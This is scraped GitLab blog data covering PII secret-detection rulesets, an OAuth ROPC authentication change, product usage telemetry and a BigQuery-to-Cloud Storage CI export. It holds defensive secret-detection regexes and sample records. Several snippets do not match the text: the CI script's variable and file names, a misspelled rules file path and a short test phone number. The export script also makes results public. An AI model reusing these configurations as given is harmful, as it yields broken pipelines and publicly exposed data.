SECRET_DETECTION_EXCLUDED_PATHS: \"rules,.gitlab,README.md,LICENSE\"\n    SECRET_DETECTION_HISTORIC_SCAN: \"true\"\n```\n\n**Step 2: Create a custom ruleset file**\n\nCreate the directory and file `rules/pii-data-extenson.toml`, which contains the regex patterns for PII data along with an allowlist of patterns to ignore. Below are patterns to detect passport numbers (USA), phone numbers (USA), and email addresses:\n\n```toml\n[extend]\n# Extends default packaged ruleset, NOTE: do not change the path.\npath = \"/gitleaks.toml\"\n\n# Patterns to ignore (used for tests)\n[allowlist]\ndescription = \"allowlist of patterns and paths to ignore in detection\"\nregexTarget = \"match\"\nregexes = ['''555-555-5555''', '''user@example.com''']\npaths = ['''(.*?)(jpg|gif|doc|pdf|bin|svg|socket)''']\n\n# US Passport Number (USA)\n[[rules]]\nid = \"us_passport_detection\"\ntitle = \"US Passport Number\"\ndescription = \"Detects US passport numbers\"\nregex = '''\\b[A-Z]{1,2}[0-9]{6,9}\\b'''\nkeywords = [\"passport\"]\n\n# Phone Number (USA)\n[[rules]]\nid = \"us_phone_number_detection_basic\"\ntitle = \"US Phone Number\"\ndescription = \"Detects US phone numbers in basic format\"\nregex = '''\\b\\d{3}-\\d{3}-\\d{4}\\b'''\nkeywords = [\"phone\", \"mobile\"]\n\n# Email Address\n[[rules]]\nid = \"email_address\"\ntitle = \"Email Address\"\ndescription = \"Detects email addresses\"\nregex = '''[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}'''\nkeywords = [\"email\", \"e-mail\"]\n```\n**Step 3: Extend Secret Detection with the custom ruleset file**\n\nCreate a directory and file `.gitlab/secret-detection-ruleset.toml` in the root of your repository. This file allows you to extend the standard configuration with the PII rules file, and overwrite the severity of the detected vulnerabilities (default severity is `Critical`).\n\n```\n# Define the pii rules to add to default configuration\n[[secrets.passthrough]]\ntype = \"file\"\ntarget = \"gitleaks.toml\"\nvalue = \"rules/pii-data-extension.toml\"\n\n# Overwrite Phone Number (USA) PII Severity\n[[secrets.ruleset]]\n[secrets.ruleset.identifier]\ntype = \"gitleaks_rule_id\"\nvalue = \"us_phone_number_detection_basic\"\n[secrets.ruleset.override]\nseverity = \"Medium\"\n\n# Overwrite Email Address PII Severity\n[[secrets.ruleset]]\n[secrets.ruleset.identifier]\ntype = \"gitleaks_rule_id\"\nvalue = \"email_address\"\n[secrets.ruleset.override]\nseverity = \"Low\"\n```\n\n**Step 4: Commit your changes**\n\nNow add the changes in the above steps to your project.\n\n```\ncd /path/to/your/project\ngit add .\ngit commit -m \"Add PII data ruleset and Secret Scanning\"\ngit push\n```\n\nOnce the code is committed, Secret Detection will run within the default branch.\n\n**Step 5: Test detection of PII data**\n\nNow that we have configured the Secret Detection scanner, we should perform a test to see if the scanner is detecting the new custom patterns. This can be done by creating a merge request, which adds a new file named `customer-data.yaml` with the following:\n\n```yaml  \ncustomers:  \n  test_user:  \n    phone_number: 555-555-555  \n    email: user@example.com  \n  justin_case:  \n    phone_number: 512-123-4567  \n    passport_number: A12345678  \n    email: justin_case@example.com  \n  chris_p_bacon: \n    phone_number: 305-123-4567  \n    passport_number: B09876543  \n    email: chris_p_bacon@example.com  \n```\n\nThe scanner should now perform the following:\n\n* Ignore the `phone_number` and `email` of `test_user` due to patterns being in allowlist  \n* Detect six potential vulnerabilities due to the information present for both `justin_case` and `chris_p_bacon`\n  * U.S. passport number severity is set to `Critical` (default)  \n  * U.S. phone number severity is set to `Medium` (override)  \n  * Email address severity is set to `Low` (override)\n  * Data from rules override is added to each vulnerability\n\nOnce the [merge request](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/secret-scanning/pii-data-ruleset/-/merge_requests/4) is submitted, the Secret Detection scanner runs and provides the following results:\n\n![Secret Detection finding custom PII data MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097709/Blog/Content%20Images/Blog/Content%20Images/pii_vulns_aHR0cHM6_1750097709683.png)\n\nWhen clicking on a vulnerability, you are presented with detailed vulnerability data based on what was configured in your newly set up rules:\n\n![Expanded custom PII data vulnerability](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097710/Blog/Content%20Images/Blog/Content%20Images/pii_vulns_expanded_aHR0cHM6_1750097709684.png)\n\nThis data allows you to determine the validity of the data present and address it accordingly.\n\nThere are additional ways to configure custom rulesets. For example, rules can be applied remotely to several projects, avoiding the need to duplicate the rules file. See the [Secret Detection Configuration documentation](https://docs.gitlab.com/user/application_security/secret_detection/pipeline/configure/) for more information.\n\n## Common PII types to consider\n\nWhen building your custom ruleset, consider including patterns for:\n\n* Social Security Numbers  \n* Credit card numbers  \n* Driver's license numbers  \n* Passport numbers  \n* Email addresses  \n* Phone numbers  \n* IP addresses  \n* Physical addresses  \n* Medical record numbers\n\n## Leveraging GitLab Duo Chat for pattern creation\n\nCreating effective regex patterns can be challenging. This is where [GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/) comes in handy. GitLab Duo Chat is an AI-powered assistant that accelerates development with contextual, conversational AI. Chat is available to any user with an assigned GitLab Duo seat.\n\n### Using GitLab Duo Chat to generate PII regex patterns\n\n1. **Access GitLab Duo Chat:** In the upper right corner, select __GitLab Duo Chat__. A drawer opens on the right side of your screen.\n\n2. **Prompt the chat:** Enter a prompt in the chat input box and press __Enter__ or select __Send__:\n\n```\nI need a regex pattern to detect Canadian Zip Codes in our codebase for secret detection\n```\n\n3. **Review and refine:** GitLab Duo Chat will suggest a regex pattern that you can review and refine:\n\n```\nCanadian postal codes follow the format \"A1A 1A1\" (where A is a letter and 1 is a digit). Here's a regex pattern that will detect Canadian postal codes in your codebase, accounting for both spaced and non-spaced formats:\n[A-Za-z]\\d[A-Za-z][ -]?\\d[A-Za-z]\\d\nThis pattern matches:\n* A letter, followed by a digit, followed by a letter\n* An optional space or hyphen\n* A digit, followed by a letter, followed by a digit\nIf you need a more strict pattern that only matches uppercase letters (as official Canadian postal codes use), you can use:\n[A-Z]\\d[A-Z][ -]?\\d[A-Z]\\d\nFor implementation in a secret detection tool, you might want to add word boundaries to avoid partial matches:\n\\b[A-Z]\\d[A-Z][ -]?\\d[A-Z]\\d\\b\nWould you like more details about implementing this in a specific secret detection system?\n```\n\n4. **Test the pattern:** Test the pattern against sample data to ensure it works correctly. You can use sites like [https://regex101.com/](https://regex101.com/) to validate patterns before you submit them to your ruleset.\n\n5. **Add to your ruleset:** Once satisfied, add the pattern to your `rules/pii-data-extension.toml` file and perform some tests to validate. This sample [merge request](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/secret-scanning/pii-data-ruleset/-/merge_requests/5/diffs) contains a newly added rule for Canadian Zip Codes based on the above.\n\nAdditionally, you can use GitLab Duo Chat in:\n\n* [The GitLab Web IDE (VS Code in the cloud)](https://docs.gitlab.com/user/project/web_ide/)  \n* VS Code, with the [GitLab Workflow extension for VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow)  \n* JetBrains IDEs, with the [GitLab Duo Plugin for JetBrains](https://plugins.jetbrains.com/plugin/22325-gitlab-duo)  \n* Visual Studio for Windows, with the [GitLab Extension for Visual Studio](https://marketplace.visualstudio.com/items?itemName=GitLab.GitLabExtensionForVisualStudio)\n\nIn the future, you’ll be able to leverage [GitLab Duo Workflow](https://docs.gitlab.com/user/duo_workflow/) (currently in private beta) to automatically generate and add these patterns to your code base directly from your IDE. GitLab Duo Workflow is an AI agent, which transforms AI from reactive assistant to autonomous contributor, optimizing your software development lifecycle. Learn more about [GitLab Duo Workflow](https://about.gitlab.com/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development/).\n\n## Best practices for PII detection\n\n1. **Start small:** Begin with a few critical PII types and expand gradually.  \n2. **Test thoroughly:** Test your patterns against sample data to avoid false positives.  \n3. **Update regularly:** Review and update your rulesets as new PII requirements emerge.  \n4. **Document patterns:** Maintain documentation for your custom regex patterns.  \n5. **Balance precision:** Make patterns specific enough to avoid false positives but flexible enough to catch variations.  \n6. **Implement [Secret Push Protection](https://about.gitlab.com/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection/):** Prevent PII data from making it into your repository.  \n7. **Set up [Merge Request Approval Policies](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/):** Require approval before merging any possible PII data to your repository.\n\nOnce you have set up a PII data ruleset to meet your organization's needs, remote rulesets can scan for PII data across multiple repositories without the need to duplicate the rules file. Watch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/vjJxQz918WE?si=CRdIEodo3ALxVWXO\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Handling Secret Detection findings\n\nWhen GitLab Secret Detection identifies potential PII in your code:\n\n1. **Review the finding:** Assess whether it's a legitimate finding or a false positive.  \n2. **Remediate:** Remove the sensitive data and replace it with environment variables or secrets management.  \n3. **[Redact text from repository](https://docs.gitlab.com/user/project/merge_requests/revert_changes/#redact-text-from-repository):** Permanently delete sensitive or confidential information that was accidentally committed, ensuring it's no longer accessible in your repository's history. \n4. **Track progress:** Use GitLab's security dashboard to monitor ongoing compliance.\n\n## Get started today\n\nGitLab Secret Detection, combined with custom PII rulesets, provides a powerful defense against inadvertent exposure of sensitive information. By leveraging GitLab Duo Chat to create precise regex patterns, teams can efficiently implement comprehensive PII detection across their codebase, ensuring regulatory compliance and protecting user data.\n\nRemember that secret detection is just one component of a comprehensive security strategy. Combine it with other GitLab security features like static application security testing, dynamic application security testing, and dependency scanning for a more robust security posture.\n\nStart implementing these practices today to better protect your users' personal information and maintain the security integrity of your applications.\n\n> Start [a free, 60-day trial of GitLab Ultimate and GitLab Duo ](https://about.gitlab.com/free-trial/)today!\n\n## More resources\n\nTo learn more about GitLab security and compliance and how we can help enhance your AppSec workflows, follow the links below:\n\n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab DevSecOps Platform](https://about.gitlab.com/platform/)  \n* [GitLab Duo (AI)](https://about.gitlab.com/gitlab-duo/)  \n* [GitLab Application Security documentation](https://docs.gitlab.com/user/application_security/) \n* [Secret Detection documentation](https://docs.gitlab.com/user/application_security/secret_detection/)\n",[674,695,696,479,790],{"slug":1997,"featured":92,"template":678},"enhance-data-security-with-custom-pii-detection-rulesets","content:en-us:blog:enhance-data-security-with-custom-pii-detection-rulesets.yml","Enhance Data Security With Custom Pii Detection Rulesets","en-us/blog/enhance-data-security-with-custom-pii-detection-rulesets.yml","en-us/blog/enhance-data-security-with-custom-pii-detection-rulesets",{"_path":2003,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2004,"content":2010,"config":2015,"_id":2017,"_type":16,"title":2018,"_source":17,"_file":2019,"_stem":2020,"_extension":20},"/en-us/blog/improving-oauth-ropc-security-on-gitlab-com",{"title":2005,"description":2006,"ogTitle":2005,"ogDescription":2006,"noIndex":6,"ogImage":2007,"ogUrl":2008,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2008,"schema":2009},"Improving OAuth ROPC security on GitLab.com","GitLab.com is improving the security of OAuth Resource Owner Password Credentials (ROPC) by requiring client authentication, effective April 8, 2025.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663239/Blog/Hero%20Images/AdobeStock_1023776629.jpg","https://about.gitlab.com/blog/improving-oauth-ropc-security-on-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Improving OAuth ROPC security on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Security Team\"}],\n        \"datePublished\": \"2025-04-01\",\n      }",{"title":2005,"description":2006,"authors":2011,"heroImage":2007,"date":1993,"body":2013,"category":695,"tags":2014},[2012],"GitLab Security Team","GitLab.com will require client authentication for OAuth Resource Owner Password Credentials (ROPC) beginning on **April 8, 2025**. ROPC was omitted by the OAuth working group in RFC Version 2.1. Existing ROPC integrations without client credentials will experience service disruption after this date. Please update your integrations to include client credentials before the deadline. \n\n## What is changing\n\nGitLab.com is improving the security of OAuth ROPC by requiring client authentication for all requests, effective **April 8, 2025**. For more details about ROPC and authentication mechanisms, read more in the [“Example ROPC Request Types” section of this notice](#example-ropc-request-types) or read about [ROPC in the OAuth API GitLab page](https://docs.gitlab.com/api/oauth2/#resource-owner-password-credentials-flow). \n\n## Why this change matters\n\n* **Enhanced security:** Client authentication provides an additional layer of security by ensuring that only authorized applications can request access tokens.  \n* **Standards compliance:** This change brings GitLab's OAuth implementation into alignment with industry best practices and OAuth 2.0 specifications.  \n* **Improved auditing:** Client authentication improves application request traceability and monitoring.\n\n## Required action\n\nWe strongly recommend updating your implementation before **April 8, 2025,** by following these steps:\n\n1. **Register your application** in GitLab to obtain client credentials:  \n   * Navigate to **User Settings > Applications** (or register a group or instance OAuth application as desired).  \n   * Create a new application or use an existing one.  \n   * Note the provided `Application ID` (client_id) and `Secret` (client_secret).  \n2. **Update your authentication requests** to include the client credentials:  \n   * Add the `client_id` and `client_secret` parameters to your token requests.  \n   * Test your implementation in our staging environment.  \n3. **Review our implementation documentation** for detailed guidance:  \n   * [GitLab OAuth Authentication Guide](https://docs.gitlab.com/ee/api/oauth2.html)\n\n## Example ROPC request types\n\nDetailed examples of authorization requests as documented in the [OAuth API GitLab page](https://docs.gitlab.com/api/oauth2/#resource-owner-password-credentials-flow) are listed below. \n\n**Insecure ROPC method example:**\n\n*This insecure ROPC method does not use client authentication, and will not work on GitLab.com after April 8, 2025.* \n\n```\nPOST /oauth/token\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=password&username=user@example.com&password=secret\t\n```\n\n**Insecure ROPC JSON method example:**\n\n*This insecure ROPC method does not use client authentication, and will not work on GitLab.com after April 8, 2025.* \n\n```\nPOST /oauth/token\nContent-Type: application/json\n{\n  \"grant_type\": \"password\",\n  \"username\": \"user@example.com\",\n  \"password\": \"secret\"\n}\n```\n\n**Required method going forward:**\n\n```\nPOST /oauth/token\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=password&username=user@example.com&password=secret&client_id=APP_ID&client_secret=APP_SECRET\n```\n\n**Required method - JSON example:** \n\n```\nPOST /oauth/token\nContent-Type: application/json\n\n{\n  \"grant_type\": \"password\",\n  \"username\": \"user@example.com\",\n  \"password\": \"secret\",\n  \"client_id\": \"APP_ID\",\n  \"client_secret\": \"APP_SECRET\"\n}\n```\n\n## Need further guidance?\n\n* **Documentation:** [GitLab OAuth 2.0 Guide](https://docs.gitlab.com/ee/api/oauth2.html)  \n* **Support:** Contact [GitLab Support](https://about.gitlab.com/support/)  \n* **Community Forum:** Discuss this change in the [GitLab Forum](https://forum.gitlab.com/)\n",[695,674,479],{"slug":2016,"featured":6,"template":678},"improving-oauth-ropc-security-on-gitlab-com","content:en-us:blog:improving-oauth-ropc-security-on-gitlab-com.yml","Improving Oauth Ropc Security On Gitlab Com","en-us/blog/improving-oauth-ropc-security-on-gitlab-com.yml","en-us/blog/improving-oauth-ropc-security-on-gitlab-com",{"_path":2022,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2023,"content":2028,"config":2033,"_id":2036,"_type":16,"title":2037,"_source":17,"_file":2038,"_stem":2039,"_extension":20},"/en-us/blog/gitlab-patch-release-17-10-1-17-9-3-17-8-6",{"title":2024,"description":708,"ogTitle":2024,"ogDescription":708,"config":2025,"ogImage":712,"ogUrl":2026,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2026,"schema":2027},"GitLab Patch Release: 17.10.1, 17.9.3, 17.8.6",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-10-1-17-9-3-17-8-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.10.1, 17.9.3, 17.8.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\" Félix Veillette-Potvin\"}],\n        \"datePublished\": \"2025-03-26\",\n      }",{"title":2024,"description":708,"authors":2029,"heroImage":712,"date":2030,"body":2031,"category":695,"tags":2032},[1678],"2025-03-26","This is the [patch release post](https://about.gitlab.com/releases/2025/03/26/patch-release-gitlab-17-10-1-released/) for GitLab 17.10.1, 17.9.3, 17.8.6.",[1464],{"slug":2034,"featured":6,"template":678,"externalUrl":2035},"gitlab-patch-release-17-10-1-17-9-3-17-8-6","https://about.gitlab.com/releases/2025/03/26/patch-release-gitlab-17-10-1-released/","content:en-us:blog:gitlab-patch-release-17-10-1-17-9-3-17-8-6.yml","Gitlab Patch Release 17 10 1 17 9 3 17 8 6","en-us/blog/gitlab-patch-release-17-10-1-17-9-3-17-8-6.yml","en-us/blog/gitlab-patch-release-17-10-1-17-9-3-17-8-6",{"_path":2041,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2042,"content":2048,"config":2054,"_id":2056,"_type":16,"title":2057,"_source":17,"_file":2058,"_stem":2059,"_extension":20},"/en-us/blog/more-granular-product-usage-insights-for-gitlab-self-managed-and-dedicated",{"title":2043,"description":2044,"ogTitle":2043,"ogDescription":2044,"noIndex":6,"ogImage":2045,"ogUrl":2046,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2046,"schema":2047},"More granular product usage insights for GitLab Self-Managed and Dedicated","Learn how event-level data helps GitLab improve the DevSecOps platform. Opt-out option is always available.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099221/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_78Dav6FR9EGjhebHWuBVan_1750099221690.png","https://about.gitlab.com/blog/more-granular-product-usage-insights-for-gitlab-self-managed-and-dedicated","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"More granular product usage insights for GitLab Self-Managed and Dedicated\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tanuja Jayarama Raju\"}],\n        \"datePublished\": \"2025-03-26\",\n      }",{"title":2043,"description":2044,"authors":2049,"heroImage":2045,"date":2030,"body":2051,"category":695,"tags":2052,"updatedDate":2053},[2050],"Tanuja Jayarama Raju","In GitLab 18.0, we plan to enable event-level product usage data collection from GitLab Self-Managed and GitLab Dedicated instances – while ensuring privacy, transparency, and customer control every step of the way.\n\nWe know data powers valuable insights to help you understand the performance of your DevSecOps practices. Similarly, platform usage data enables us to prioritize the investments and product improvements that drive more impact for you.\t\n\nHistorically, we’ve collected both event and aggregate product usage data from GitLab.com. However, for GitLab Self-Managed and Dedicated instances, the absence of event data has required the GitLab Customer Success team to rely on manual data extraction methods to gather key insights, including job runtimes, runner usage for cost optimization, pipeline success rates, and deployment frequency for assessing DevSecOps maturity. Access to event-level data reduces the need for workarounds and enables more efficient reporting and optimizations. \n\n**Note: Throughout this blog, when we discuss event collection, we are exclusively referring to the collection of events for all features except those included in GitLab Duo. For more details, please refer to our [Customer Product Usage Information page](https://handbook.gitlab.com/handbook/legal/privacy/customer-product-usage-information/).**\n\n## Understanding event-level data\n\nEvent-level data tracks product usage interactions within the GitLab platform, such as initiating CI/CD pipelines, merging a merge request, triggering a webhook, or creating a new issue. User identifiers are pseudonymized to protect privacy, and GitLab does not undertake any processes to re-identify or associate the metrics with individual users. Importantly, event-level data does not include source code or other customer-created content stored within GitLab. To learn more, visit our [Customer Product Usage Information page](https://handbook.gitlab.com/handbook/legal/privacy/customer-product-usage-information/) and [event data documentation](https://docs.gitlab.com/administration/settings/event_data/).\n\nHere is an example of a data sample we collect:\n\n![event-level data - code example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099231/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099230972.png)\n\n## How event-level data collection benefits you\n\nEvent-level data offers a wealth of insights beyond what aggregated data can provide. It enables slicing and aggregating pseudonymized system instrumentation to identify trends, highlight unused or underused areas, and signal product improvements. By analyzing usage patterns in context, we can understand which features are used, how, and in what sequence. This visibility uncovers bottlenecks and optimization opportunities that aggregated data would miss.\n\n* **In-depth feature usage analysis**  \n  Rather than just knowing which features are used weekly or monthly, event-level data provides a clearer picture of how users experience GitLab and the frequency of their usage. This enables us to gain a deeper understanding of user behavior and highlights areas for improvement.  \n* **Trend discovery**  \n  Event-level data helps identify trends in GitLab adoption that can’t be seen with rolling aggregates. With these insights, the GitLab Customer Success team can help customers make more informed decisions on feature adoption and usage, improving overall efficiency.  \n* **Smarter product improvements**  \n  Event-level data gives GitLab’s Product team a clearer picture of real-world customer needs. By analyzing usage patterns, product improvements can be aligned with customer priorities, leading to continuous enhancements that make GitLab more powerful, efficient, and user-friendly.  \n* **Custom insights for your use case**  \n  Event-level data will enable GitLab Customer Success to provide tailored insights based on your organization's overall product usage without identifying individual users. This flexibility helps our teams provide recommendations that address your unique needs and challenges.\n\n## You stay in control of your data\n\n![event-level data - screen of choices](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099231/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2025-04-02_at_12.14.12_PM_aHR0cHM6_1750099230972.png)\n\nWe’re committed to rolling this out with a strong focus on privacy. Here’s what we’re doing to ensure transparency and choice:\n\n✅ **Pre-deployment early opt-out** – Data sharing can be disabled by instance admins in the 17.11 release before event collection begins in 18.0. The pre-deployment early opt-out option will remain available after 18.0; just upgrade to 17.11 first and disable data sharing.\n\n✅ **Proactive communication** – Updates on the progress of this initiative shared via blog posts, emails to GitLab admins, and updates through your GitLab account team.\n\n ✅ **No third-party collectors** - GitLab’s event-level instrumentation will not use any third-party collectors; it’s built and operated by GitLab, and events are sent directly to GitLab-managed environments, similar to [Service Ping](https://handbook.gitlab.com/handbook/legal/privacy/customer-product-usage-information/#service-ping-formerly-known-as-usage-ping).\n\n✅ **Detailed documentation** – Detailed documentation is available [here](https://docs.gitlab.com/administration/settings/event_data/), and a list of FAQs is available [here](http://handbook.gitlab.com/handbook/legal/privacy/product-usage-events-faq/).\n\n✅ **De-identification approach** – We will continue to apply aggregation and/or pseudonymization to any event-level data collected from Self-Managed and Dedicated.\n\n## What’s next\n\n* **Product enhancements (coming up!)** - Improvements to GitLab user experiences and adoption insights made possible by event-level data.\n\n*Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc.*",[695,479,754],"2025-05-14",{"slug":2055,"featured":92,"template":678},"more-granular-product-usage-insights-for-gitlab-self-managed-and-dedicated","content:en-us:blog:more-granular-product-usage-insights-for-gitlab-self-managed-and-dedicated.yml","More Granular Product Usage Insights For Gitlab Self Managed And Dedicated","en-us/blog/more-granular-product-usage-insights-for-gitlab-self-managed-and-dedicated.yml","en-us/blog/more-granular-product-usage-insights-for-gitlab-self-managed-and-dedicated",{"_path":2061,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2062,"content":2067,"config":2072,"_id":2074,"_type":16,"title":2075,"_source":17,"_file":2076,"_stem":2077,"_extension":20},"/en-us/blog/tutorial-secure-bigquery-data-publishing-with-gitlab",{"title":2063,"description":2064,"ogTitle":2063,"ogDescription":2064,"noIndex":6,"ogImage":1239,"ogUrl":2065,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2065,"schema":2066},"Tutorial: Secure BigQuery data publishing with GitLab ","Learn how to create repeatable, auditable, and efficient processes for automating and securing BigQuery data exports.","https://about.gitlab.com/blog/tutorial-secure-bigquery-data-publishing-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Secure BigQuery data publishing with GitLab \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Regnard Raquedan\"}],\n        \"datePublished\": \"2025-03-25\",\n      }",{"title":2063,"description":2064,"authors":2068,"heroImage":1239,"date":2069,"body":2070,"category":734,"tags":2071},[919],"2025-03-25","GitLab offers a powerful solution for automating and securing [BigQuery](https://cloud.google.com/bigquery) data exports. This integration transforms manual exports into repeatable, auditable processes that can eliminate security vulnerabilities while saving valuable time. This tutorial explains how to implement this solution so you can quickly reduce manual operations, permission issues, and security concerns with just a few lines of GitLab YAML code.\n\nFollow along with this step-by-step video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/gxXX-ItAreo?si=FijY9wMVppCW-18q\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## The solution architecture\n\nOur solution leverages GitLab CI/CD pipelines to automate the secure export of data from BigQuery to Google Cloud Storage. Here's the high-level architecture:\n\n1. SQL code is stored and version-controlled in GitLab.  \n2. After code review and approval, GitLab CI/CD pipeline executes the code.  \n3. The pipeline authenticates with Google Cloud.  \n4. SQL queries are executed against BigQuery.  \n5. Results are exported as CSV files to Google Cloud Storage.  \n6. Secure links to these files are provided for authorized consumption.\n\n## Prerequisites\n\nBefore we begin, ensure you have:\n\n* **Google Cloud APIs enabled:** BigQuery API and Cloud Storage API  \n* **Service account** with appropriate permissions:  \n  * BigQuery Job User  \n  * Storage Admin  \n  * **Note:** For this demo, we're using the service account approach for authentication, which is simpler to set up. For production environments, you might consider using GitLab's identity and access management integration with Google Cloud. This integration leverages Workload Identity Federation, which provides enhanced security and is more suitable for enterprise customers and organizations.  \n* **GitLab project** ready to store your SQL code and pipeline configuration\n\n## Step-by-step implementation\n\n**1. Configure Google Cloud credentials.**\n\nFirst, set up the necessary environment variables in your GitLab project:\n\n- Go to your **GitLab project > Settings > CI/CD**.  \n- Expand the **Variables** section.  \n- Add the following variables:  \n   * `GCS_BUCKET`: Your Google Cloud Storage bucket name  \n   * `GCP_PROJECT_ID`: Your Google Cloud project ID  \n   * `GCP_SA_KEY`: Base64-encoded service account key (mark as masked)\n\n**2. Create your SQL query.**\n\nCreate a file named `query.sql` in your GitLab repository with your BigQuery SQL query. The query looks like this:\n\n```\n-- This query shows a list of the daily top Google Search terms.\nSELECT\n   refresh_date AS Day,\n   term AS Top_Term,\n       -- These search terms are in the top 25 in the US each day.\n   rank,\nFROM `bigquery-public-data.google_trends.top_terms`\nWHERE\n   rank = 1\n       -- Choose only the top term each day.\n   AND refresh_date >= DATE_SUB(CURRENT_DATE(), INTERVAL 2 WEEK)\n       -- Filter to the last 2 weeks.\nGROUP BY Day, Top_Term, rank\nORDER BY Day DESC\n   -- Show the days in reverse chronological order.\n\n```\n\nThis query gets the top 25 search terms from Google Trends for the current day.\n\n**3. Configure the GitLab CI/CD pipeline.**\n\nCreate a `.gitlab-ci.yml` file in your repository root:\n\n```\nimage: google/cloud-sdk:alpine\n\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml\n\nexecute:\n  stage: deploy\n  script: \n    # Set up Google Cloud authentication and install necessary components\n    - export GOOGLE_CLOUD_CREDENTIALS=$(echo $SERVICE_ACCOUNT_KEY | base64 -d)\n    - echo $GOOGLE_CLOUD_CREDENTIALS > service-account-key.json \n    - gcloud auth activate-service-account --key-file service-account-key.json \n    - gcloud components install gsutil\n    # Set the active Google Cloud project\n    - gcloud config set project $PROJECT_ID\n    # Run the BigQuery query and export the results to a CSV file\n    - bq query --format=csv --use_legacy_sql=false \u003C test.sql > results.csv\n    # Create a Google Cloud Storage bucket if it doesn't exist\n    - gsutil ls gs://${CLOUD_STORAGE_BUCKET} || gsutil mb gs://${CLOUD_STORAGE_BUCKET}\n    # Upload the CSV file to the storage bucket\n    - gsutil cp results.csv gs://${CLOUD_STORAGE_BUCKET}/results.csv\n    # Set the access control list (ACL) to make the CSV file publicly readable\n    - gsutil acl ch -u AllUsers:R gs://${CLOUD_STORAGE_BUCKET}/results.csv\n    # Define the static URL for the CSV file\n    - export STATIC_URL=\"https://storage.googleapis.com/${CLOUD_STORAGE_BUCKET}/results.csv\"\n    # Display the static URL for the CSV file\n    - echo \"File URL = $STATIC_URL\"\n\n```\n\n**4. Run the pipeline.**\n\nNow, whenever changes are merged to your main branch, the pipeline will provide a link to the CSV file stored on the Google Cloud Storage bucket. This file contains the result of the executed SQL query that GitLab subjects to security checks.\n\n## Benefits of this approach\n\n* **Security:** Authentication is handled automatically via service accounts (or Workload Identity Federation for enhanced security in production environments).  \n* **Auditability:** All data exports are tracked through GitLab commits and pipeline logs.  \n* **Repeatability:** Consistent, predictable export process on every run, and can be scheduled.  \n* **Version control:** SQL queries are properly versioned and reviewed.  \n* **Automation:** Significantly fewer manual exports, reducing human error.\n\n## Try it today\n\nBy combining GitLab's DevSecOps capabilities with Google Cloud's BigQuery and Cloud Storage, you've now automated and secured your data publishing workflow. This approach reduces manual operations, resolves permission headaches, and addresses security concerns – all achieved with just a few lines of GitLab CI code.\n\n> Use this tutorial's [complete code example](https://gitlab.com/gitlab-partners-public/google-cloud/demos/big-query-data-publishing) to get started now.",[943,479,696,1444,232,923],{"slug":2073,"featured":92,"template":678},"tutorial-secure-bigquery-data-publishing-with-gitlab","content:en-us:blog:tutorial-secure-bigquery-data-publishing-with-gitlab.yml","Tutorial Secure Bigquery Data Publishing With 